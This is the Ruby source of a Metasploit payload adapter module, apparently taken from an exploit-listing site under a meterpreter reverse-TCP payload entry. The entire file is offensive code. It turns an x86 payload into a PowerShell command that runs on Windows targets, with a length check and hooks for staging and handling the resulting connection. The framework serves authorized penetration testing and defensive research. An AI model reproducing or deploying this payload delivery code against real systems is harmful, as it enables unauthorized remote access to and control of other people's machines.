## https://sploitus.com/exploit?id=MSF:PAYLOAD-CMD-WINDOWS-POWERSHELL-METERPRETER-REVERSE_TCP_RC4_DNS-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Adapter
include Msf::Exploit::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Powershell Exec',
'Description' => 'Execute an x86 payload from a command via PowerShell',
'Author' => 'Spencer McIntyre',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_X86,
'AdaptedPlatform' => 'win',
'RequiredCmd' => 'powershell'
)
)
end
def compatible?(mod)
# size is not unlimited due to the standard command length limit, the final size depends on the options that are
# configured but 3,000 is in a good range (can go up to 4,000 with default settings at this time)
if mod.type == Msf::MODULE_PAYLOAD && (mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic) && (mod.class::CachedSize >= 3_000)
return false
end
super
end
def generate(opts = {})
opts[:arch] ||= module_info['AdaptedArch']
payload = super
cmd_psh_payload(payload, ARCH_X86, remove_comspec: true)
end
def generate_stage(opts = {})
opts[:arch] ||= module_info['AdaptedArch']
super
end
def generate_payload_uuid(conf = {})
conf[:arch] ||= module_info['AdaptedArch']
conf[:platform] ||= module_info['AdaptedPlatform']
super
end
def handle_connection(conn, opts = {})
opts[:arch] ||= module_info['AdaptedArch']
super
end
end